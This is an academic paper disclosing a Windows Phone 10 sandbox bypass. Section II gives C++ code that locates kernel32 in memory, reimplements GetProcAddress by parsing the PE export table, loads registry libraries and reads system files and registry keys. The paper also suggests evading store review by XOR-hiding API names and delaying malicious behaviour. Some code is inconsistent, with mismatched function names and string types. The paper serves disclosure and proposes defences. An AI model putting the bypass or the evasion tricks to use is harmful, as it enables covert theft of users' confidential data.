Compromising Windows 10 Phone Security System with Standard API Calls

Alexander Ogolyuk, Tatiana Markina
Saint Petersburg National Research University of Information Technologies, Mechanics and Optics
St. Petersburg, Russia
110136@niuitmo.ru (xms2007@yandex.ru), markina@cs.ifmo.ru

***Abstract*—We investigate one of possible Windows 10 compromising technologies – using standard Windows API or native calls for breaching security policies. We do the base Windows 10 policy overview, describe possible threats based on discovered vulnerability and suggest some possible solutions for this problem.**

I. INTRODUCTION

Modern mobile platforms evolve very fast. This is a result of extreme concurrent fight between hardware and software vendors in the mobile sector. Mobile vendors try to make their devices to have a large number of functions, flexible, easy to use and also don't forget about security while designing all this. But there are many reasons which deny to access all this goals within one device (especially on newest devices and platforms). Also we need to take in mind short development period (because of concurrent solutions appearing every day).

In 2013-2015 Microsoft did renew their mobile platforms (this is also true for their desktop platforms) with the launch of Windows 8.1 and Windows 10. Such mobile platform is a big step ahead because it is based on new common Windows Operating System kernel (shared between Windows 8, 10, RT, Windows Phone 8 and Windows Phone 10). Also common development solutions are used both in writing applications, Operating System internals and Windows security subsystem. Unfortunately from security point of view, such approach was not so good. Full integration of new desktop kernel into mobile platform did request enormous development forces and large research number within security field (finding new vulnerabilities and potential threats for new system takes a long period of time). Already today we can see some potential flaws in Windows Phone 10 system, which will be most possibly eliminated in the next system release.

One of such threats allowing to gain access from standard user application to user's and even Operating System data by breaking security model we will describe a bit later.

But let us start with remembering Windows Phone 8 (or 10) security subsystem base principles. Windows security model is based on isolation principle and using minimal privileges principle. Security model has four security levels. Such levels are called "Security Chambers". These chambers are isolated containers where processes are created and executed. Chamber is the security principal to which all rights and permissions are granted. Windows explicitly grants capabilities to special Chambers. Every Chamber level adds barrier for application isolation. Every Chamber adds and uses own security policy. Security policy defines which Operating System abilities application can use and which can't. Three of these four levels have fixed security policy and the fourth has dynamic security policy.

First level (Trusted Computing Base chamber) – uses only kernel modules and drivers.

Second level (Elevated Rights Chamber – ERC) – allows access to all system resources except changing security policy. This (ERC) level is dedicated to system services and user level drivers, which offer services to mobile applications (running in user mode). Only Microsoft Company can develop applications for this level (these applications have digital signature, same as drivers and all modules from the first level).

Third level (Standard Rights Chamber – SRC) is used for built-in applications. Most of these applications work on third level (SRC), like Microsoft Office applications and other examples.

Fourth level (Least Privileged Chamber – LPC) is dedicated to extern (installed) applications from Windows Phone Marketplace (these applications we will discuss below).

Next we do is device access policies overview. First line of defense – access to Windows Phone device and the information it contains can be controlled via PIN or hard passwords and associated password policies. When these policies are configured, any Windows Phone that connects to server must comply with policy.

Most of large companies world-wide currently use Exchange Server. Microsoft focuses on this infrastructure for the sake of simplicity in device management. Exchange Active Sync is a time tested robust protocol that provides Windows Phone with mailbox synchronization functionality. Windows Phone ships with the Exchange Active Sync protocol and supports Exchange Active Sync for synchronization of email, task, calendar, contacts, etc. [2] with Exchange Server, Microsoft Office 365 applications and other cloud based solutions.

Because of the increasing number of Exchange Active Sync implementations within devices, Microsoft introduced *EAS Logo certification program*. All manufacturers must go through Exchange Active Sync [3] implementation to show the EAS logo. All Windows devices must meet the requirement of the Exchange ActiveSync Program.

Exchange Active Sync offers ability to manage Windows Phone via the use of security related policies which are configured by security departments like Group Policies setting for Windows. Exchange Active Sync [4] security configuration policy can include:

- [PasswordRequired] requires to set a device locking numeric pin-code or password before the phone starts synchronizing calendar, task, email and other contact information with an Exchange Server.
- [ComplexPasswordRequired] requires the user to define a complex (alphanumeric) device-locking password.
- [PasswordComplexity] can be used to specify the level of password complexity.
- [PasswordExpiration] sets the validity period of a password, after which the password has to be renewed.
- [PasswordHistory] prevents the user from re-using the same password repeatedly.
- [AllowSimplePassword] can be used to allow or prevent the user from using a simple password or pin-code.
- [MinPasswordLength] sets the minimal number of characters in the password.
- [IdleTimeoutFrequencyType] defines the time before a phone locks when not in use.
- [DeviceWipeThreshold] defines the number of times a wrong device PIN or password can be used before the phone wipes (erases its data) and resets.

A new security concept is a so called “sandbox”. Every Windows Phone application works on each own isolated level (and uses limited functions number) which is defined while installing the application. Base privileges list is granted to all applications and allows access to isolated file storages. There are no alternative information exchange channels between applications except network ones (like Microsoft Cloud). Applications are isolated from each other and can’t access each other’s memory (which is common in all Microsoft Operating Systems) or file objects (which is not common for classic Windows Operating System [1]) including even input (keyboard) messages. Also Windows Phone does not allow applications to work in background mode which partially hardens malicious software actions. When user switches to new Windows Phone application, previous application goes to “sleep” mode. This approach guarantees that application will not take critical system resources or send data to network while user does not work with this application. There are exceptions for this rule for system wide and built in applications and services designed by Microsoft itself. These services mostly are designed to perform common tasks on behalf of applications. One of such services is Background Transfer Service (BTS) which makes possible (for extern applications) to use HTTP transfers using Windows low level implemented (and fully optimized) functions. Also services include Alarms APIs (for reminders and similar scenarios), background Audio Agent, Scheduler (which can be our point of interest for performing forbidden calls on schedule basis and using Windows System account credentials) and Location tracking.

Microsoft declares that the base development platform for Windows Phone applications is Microsoft dot NET (framework). This platform offers managed API sets and does not allow any low level access to base and kernel Windows APIs. So applications (developed outside of Microsoft Company) can’t access system registry (we shall decline this a bit later) which prevents data leakage threats and critical Operating System objects possible damage. Also system file objects access is denied to all applications. I.e. developers can’t use low level API (including Win32) to access Windows system objects. Bypassing this restriction (by using default Operating System functions) will be described a bit later.

This security model was introduced in previous Windows Phone systems (6 and 7) and is still actual for Windows Phone 8 and 10.

II. BREAKING THROUGH SECURITY RESTRICTIONS

The new feature of Windows Phone 10 is an offer of native components usage (i.e. components compiled into target Central Processing Unit code, which in our case of Windows Phone are ARM code instructions) written in classic C++. This offer includes only applications which use DirectX subsystem and additional dynamic libraries. It seems was introduced to allow applications performance breakthrough (because of intermediate levels absence and virtualization which are a common case for managed code written in C Sharp, Visual Basic or Java give much higher working speed). In the same time writing “classic” applications (and all applications which use graphical user interface) is still allowed only while using managed code and XAML. From other side nobody denies to use own additional native libraries inside your application (in a sake of high performance calculations like large dimension picture processing or game rendering).

To use our own native library we need just write (using Microsoft Visual Studio and Windows Phone Software Development Kit) a managed based C Sharp application and set a reference to other native application (like dynamic link library written in C++).

The Dynamic Link Library executable is the special form of executable file. The Dynamic Link Library describes a fact that all functions are linked while loading. There is another option – the static library which contains native code which is combined with other native code into a single executable. Those who don’t use C/C++ (or other language compiled to native code) and assembler code can have some difficulty while learning concepts of static and dynamic libraries and static and dynamic linking. The brief difference is that when some statically linked code changes – all executable using this code require to be updated. The most of the Windows API functions are located in native Windows Dynamic Link Libraries. So it is easy to imagine how hard it could be to change code if every Windows application needs to be updated on every change or Windows new fix.

While writing our own native library we need to define dynamic library interface in the header files:

Algorithm 1

```
#pragma once
namespace TestFs
{
    public ref class TestF sealed
    {
            public:
            int
            TestF::Test(Windows::Storage::Streams::IBuffer^
            buffer);
    };
}
```

Now we can easily use methods implemented in our sample library (which is compiled into native code from C++) from our managed code based application (written in C Sharp) and we also can put there and back our data with use of intermediate buffer like this:

Algorithm 2

```
namespace FilterTest
{
    public partial class
    MainPage : PhoneApplicationPage
    {
     public MainPage()
{
    InitializeComponent();
}
TestF fltr = new TestF ();

private async void Go
(object sender, RoutedEventArgs e)
{
 byte[] bytes = new byte[1000];

 if (0 != fltr.Test(bytes.AsBuffer()))
 {
    string str2 = Encoding.Unicode.GetString(bytes, 0,
    500);
     MessageBox.Show(str2,"This is TEST dbg
    information", MessageBoxButton.OK);
    }
 }
}
```

Inside the library buffer data access can be implemented same as in following code:

Algorithm 3

```
#include <robuffer.h>
#include <ppltasks.h>
using namespace FFltrs;
using namespace Platform;
using namespace Windows::Storage::Streams;
using namespace concurrency;

int GFltrr::Test(IBuffer^ buffer)
{
 if (buffer == nullptr) return 0;
 IUnknown* pUnk =
reinterpret_cast<IUnknown*>(buffer);
 IBufferByteAccess* pAccess = NULL;

 byte* bytes = NULL;

 HRESULT hr = pUnk->QueryInterface( __uuidof
(IBufferByteAccess), (void **)&pAccess);

 if (SUCCEEDED(hr))
 {
  hr = pAccess->Buffer(&bytes);
  if (SUCCEEDED(hr))
  {
    auto length = buffer->Length;
    // working with data buffer
    return 1;
  }else return 0;
 }else return 0;
}
```

Such mix of different technologies is our point of interest while searching for possible vulnerabilities and bypassing security system restriction methods.

So we can (this will be demonstrated a bit later) use native components for unauthorized access to forbidden Windows APIs like ntdll.dll, Win32, etc. which are present in system kernel [5] (we remember that new kernel is shared between mobile and desktop Windows versions).

In real life application these forbidden API calls are not controlled by Windows security subsystem.

Initially Windows mobile developer tools do not include the possibility to use most of Win32 APIs and other low level interfaces. These restrictions are implemented via header files system where function prototypes are not present (in desktop Windows versions all these prototypes are available) and appropriate link libraries absence.

But remembering that mobile Operating System shares kernel with desktop versions (which are reverse engineered for many years) we can easily implement all our development and hacking experience on this newest Windows Phone platform.

To use undefined interfaces (Win32 APIs and other low level ones) we need just to define needed function prototypes (these prototypes are identical to desktop ones and simply can be copied from standard desktop header files) in own header files, then load needed dynamic library which exports target functions and simply call our target function.

Dynamic libraries which we need to load are well known. There are several differences (in functions list, etc.) comparing to desktop Windows versions, but we can experiment with libraries inside /System32/ folder of mobile Operating System

with use of standard dependencies resolving tools. Common Windows Runtime API exported in these Dynamic Link Libraries consists of the following groups:

- Networking
- Proximity
- Storage
- DataSaver/Connection Manager
- Location
- Touch
- Online Identity
- Keyboard
- Launchers & Choosers
- In-App Purchase
- Sensors
- Threading
- Base Types/ Windows.Foundation

If talking about other APIs (dedicated to managed code compiled applications and languages) in Windows Phone 10 dot NET Compact Framework was replaced by Core CLR. Core CLR is completely the same as dot NET which was used in previous Windows versions. Core CLR was introduced for higher stability and high application performance taking advantage of multi processing and improvements of battery life. As we know all new phones have today multi cores, so applications and Operating System are going to work faster because of this. We are mostly interested in Base Types APIs located in Kernel32 Dynamic Link Library and don't care of other types like Core CLR for now.

Shared kernel and fully functional emulator of Windows Phone (which is deployed with Windows Phone Software Development Kit and serves as a debugger tool for mobile applications) will help us to find all needed components and libraries. Windows Phone Emulator is the desktop application that emulates a Windows Phone device. It provides a virtualized environment in which application can be tested and debugged without a need of physical device. Emulator also provides an isolated environment for applications.

For example to research mobile file system of Windows Phone we need to connect emulator's virtual hard drive to desktop Windows via standard disk manager. We need to take in mind that data in isolated storage persists while the emulator is running, but is lost once the emulator closes.

Also big help is that all executable files inside emulator (including our own debug application) are compiled into x86 (32bit) code and can be reverse engineered (with use of disassemblers and other reverse tools known for many years on Windows x86 desktop platform). Later our application is compiled to target CPU instructions (mostly ARM based) and works completely the same as our debug application (compiled into x86 code).

From the security expert point of view all this brings big danger for newest Windows Phone platform because of wide possibilities to use all previous Windows desktop experience for finding vulnerabilities and bypassing security subsystem restrictions on new Windows mobile platform.

Returning back to calling forbidden functions we need to bypass only one more barrier while developing own application. This barrier consists of fact that dynamic loading functions themselves (LoadLibraryW and GetProcAddress) are not available in our native library because development tools (Visual Studio and Windows Phone Software Development Kit) block their usage inside of any application including our one.

To bypass this barrier we can reuse and old trick known in desktop Windows. GetProcAddress can be replaced by searching function address within executable image loaded in memory using navigation in perfectly known Portable Executable file structure (format specification) which is completely identical in both desktop and mobile Windows Operating System.

While booting our application Windows Phone already did load all needed system modules and dynamic libraries (without these libraries application can't work because Windows Mobile uses them also internally).

So we just need to find Portable Executable header in memory and then find export functions table. Our implementation of forbidden GetProcAddress can look like this:

Algorithm 4

```
void *PGetProcAddressA(void *Base, LPCSTR Name)
{
DWORD Tmp;
IMAGE_NT_HEADERS *NT = ImageNtHeader(Base);

IMAGE_EXPORT_DIRECTORY *Exp =
(IMAGE_EXPORT_DIRECTORY*)ImageDirectoryEntryT
oDataEx(Base,TRUE,
IMAGE_DIRECTORY_ENTRY_EXPORT, &Tmp, 0);

if( Exp==0 || Exp->NumberOfFunctions==0 )
{
        SetLastError (ERROR_NOT_FOUND);
        return 0;
}

DWORD *Names = (DWORD*)(Exp->AddressOfNames +
(DWORD_PTR)Base);

WORD *Ordinals = (WORD*)(Exp-
>AddressOfNameOrdinals + (DWORD_PTR) Base);

DWORD *Functions = (DWORD*)(Exp-
>AddressOfFunctions + (DWORD_PTR) Base);

FARPROC Ret = 0;

if( (DWORD_PTR)Name < 65536 )
{
 if((DWORD_PTR)Name-Exp->Base<Exp-
```

```
>NumberOfFunctions)

Ret = (FARPROC)(Functions[(DWORD_PTR) Name-Exp->Base] + (DWORD_PTR)Base);
}
else
{
 for(DWORD i=0; i<Exp->NumberOfNames && Ret == 0; i++)
 {
 char *Func=(char*)(Names[i]+(DWORD_PTR)Base);

 if(Func && strcmp(Func,Name) == 0) Ret = (FARPROC)(Functions[Ordinals[i]]+(DWORD_PTR)Base);
 }
}
if(Ret)
{
DWORD ExpStart = NT->OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddres s+ (DWORD)Base;

DWORD ExpSize = NT->OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_EXPORT].Size;

if((DWORD)Ret>=ExpStart && (DWORD)Ret <= ExpStart+ExpSize) return 0;

 return Ret;
 }
return 0;
}
```

To find module image base (of Windows dynamic library) we can again use an old trick of searching mask in memory by known (from Microsoft DOS times) signature of executable file start. I.e. we need to get some address of known and allowed system call. In our example we can take standard function called “GetSystemTime”. This system call is allowed (for our C++ based library) and is situated in needed system module (kernel32.dll).

This is how we can get kernel32.dll image base:

Algorithm 5

```
char *p = (char*) GetSystemTime;
p = (char*)((~0xFFF)&(DWORD_PTR)p);
while(Tmp)
{
__try
        {
          if(p[1] == 'Z' && p[0] == 'M')
          break;
        }
 __except(EXCEPTION_EXECUTE_HANDLER)
{ ; }
        p -= 0x1000;
}
```

Now we can call all functions situated in kernel32.dll in such way:

Algorithm 6

```
CreateFileA = (CFA*)PeGetProcAddressA(p, "CreateFileA" );

WriteFileA = (WFA*)PeGetProcAddressA(p,"WriteFile");

HANDLE h = CreateFileW( L"our_long_file_name.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
```

Also we can call more than just kernel32 functions which are mostly enough to access confidential data. Now we can load additional libraries and use all available sets of Win32 APIs and other previously forbidden API functions. For this we need to access LoadLibrary function call:

Algorithm 7

```
LoadLibraryExW = (LLW*) PeGetProcAddressA (p, "LoadLibraryExW");
```

And load all needed modules like those which work with registry (which is officially forbidden by Windows Phone Operating System like we did discuss above).

Algorithm 8

```
static HMODULE hMod = 0;

hMod = LoadLibraryExW (" API-MS-WIN-CORE-REGISTRY-L1-1-0.DLL", NULL, 0);

RegOpenKeyExA = (ROA*) PeGetProcAddressA (hMod, "RegOpenKeyExA");

RegQueryValueExA = (RQVA*) PeGetProcAddressA(hMod, "RegQueryValueExA");
```

In such way by use of forbidden system calls we can get access to confidential data on disk (built-in SD card and extern memory cards), in registry or in other places. We can even access standard network APIs (like Winsock API or native implementation variant from ntdll Dynamic Link Library). All this information can be transferred (with data buffer described above) from our native library to our managed application and back. Also we can transfer confidential data via network bypassing all Windows Mobile security principles and discarding user’s data confidential system.

This is an example of reading system file objects and registry:

Algorithm 9

```
HANDLE h = CreateFileA (L "c:\\win\\system32\\license.doc", GENERIC_READ, 0, NULL, 0, FILE_ATTRIBUTE_NORMAL, NULL);

LONG res = 0;
HKEY hKey;
if ((res = RegOpenKeyExA (HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Skype\\IMEA", 0, KEY_READ, &hKey)) != ERROR_SUCCESS)
return ERROR;

DWORD dwsz = size*sizeof(WCHAR);

dwsz = size*sizeof(WCHAR);
RegQueryValueExA(hKey, L"", 0, 0, (LPBYTE)wstr, &dwsz);
```

We assume that even more dangerous attacks are possible in real life. By default mobile application is secured with standard Windows access control list and policies (NTFS permissions for file objects, ACLs for registry keys, etc.). I.e. such application can't destroy critical data and system objects in Windows Phone 10. But theoretically we can use same old tricks from desktop Windows to escalate application privileges and go to higher security levels (like obtaining System account context) of system services where we can completely destroy user and system data. So found vulnerability and its exploitation method can be marked critical and their effects need to be carefully researched forward.

We plan to continue research in this direction and plan to elaborate different methods to solve this problem (while waiting for vendor solutions and conceptual approaches which can help to eliminate this found vulnerability and all the similar ones in the near future).

Some experts can say that such applications (using restricted APIs) can be disqualified while Windows Phone Market revue, because every application goes through moderation and it is impossible to install application out of Market (except using unblocked developer phone or device). But this additional protection (through moderation of application) is too weak because can be simply bypassed by hiding APIs usage (like XORing string names, etc.) and in export table of application (which is the main subject of moderator review) only allowed functions (like GetSystemTime) are present.

III. CONCLUSION: ROADMAP FOR POSSIBLE PROBLEM SOLUTIONS

We need to say that similar compromising approaches can be exploited on every Windows 10 (on x86 it is not so useful cause all APIs are allowed there, but on Windows tablets it could be very useful because of similar registry, file and system objects restrictions which are even harder than those present in Windows Phone Operating System).

Also we suggest (this suggestion is targeting especially Microsoft developers and Market moderators) to use dynamical and static (i.e. disassembling) analysis while researching application before approving it. Sure this will take much more enforcements from application reviewer, also involving the need of high-class qualification, but this seems an only good way to prevent malicious applications from going to Microsoft Market. Also we could suggest using some approaches known in Apple AppStore (like extended reviews and digital signatures for executable modules).

From other way forbidden APIs usage in any application can be delayed in time eliminating dynamical monitoring effectiveness (i.e. malicious functions will not be active during review time).

Counter measures against such malicious approaches need to be designed in near future. The possible direction of such counter measures is a new generation of security mechanisms development (like Intrusion Prevention Systems). This approach can use similar ways as classical network oriented Intrusion Prevention Systems [5].

Signature based method of searching malicious code can't be implemented in such systems for sure (cause we already have a big industry exploring this field called Antivirus Systems, which are by chance not represented yet on Windows Phone platform, except the planned Microsoft Defender system). But other classical Intrusion Prevention Systems approach can be still used. We are talking about activity monitoring (in case of our suggestion we mean malicious code activity).

Such activity monitoring can find uncommon actions of malicious application and then put it under heavy monitoring and logging (even including human resources for additional analysis of such code) together with waiting for later decision about application status (malicious or not).

Also interesting point could be the use of self-learning Intrusion Prevention Systems (detecting malicious code) based on Neural Networks. Other possible scenario for solving this problem is to implement similar scenario as which is nowadays used by some Antivirus companies. Such scenario is based on building a distributed voting system where each user (in our case mobile user) can vote if application has malicious functions or not. A big number of such votes on malicious application can start the deep inspection of the application in Microsoft Market. From other side this approach is not too effective also cause big number of false alarms can be generated by users which are not experts in security field and can misunderstand application behavior or just vote negative because of security unrelated reasons, such as application price or usage policies.

Sure all these approaches are very resource taking (including heavy usage of mobile device resources leading to faster accumulator degradation). But finding compromise between security functions number and resource usage we assume that it is possible to set a good barrier for such security breaks and prevent system threats like discussed above.

We plan also research on these approaches in future works.

REFERENCES

[1] M. Russinovich, D. Solomon, «Windows Internals, 6th edition». St.Petersburg: Piter, 2014.

[2] TechNet Library, Understanding Information Rights Management, Web: http://technet.microsoft.com/en-us/library/dd351035.aspx

[3] TechNet Library, How IRM works in Office and Exchange Server, Web: http://technet.microsoft.com/en-us/library/cc179103.aspx

[4] TechNet Library, Understanding IRM with Exchange ActiveSync, Web: http://technet.microsoft.com/en-us/library/ff657743.aspx

[5] Windows Phone security, «48 Windows Phone apps using native code – Nanapho», Web: http://nanapho.jp/archives/2012/02/only-48-windows-phone-apps-using-native-code/

[6] M. Becher, F.C. Freiling, J. Hoffman. Mobile Security Catching up? IEEE Symposium on Security and Privacy, SP'11, 2011.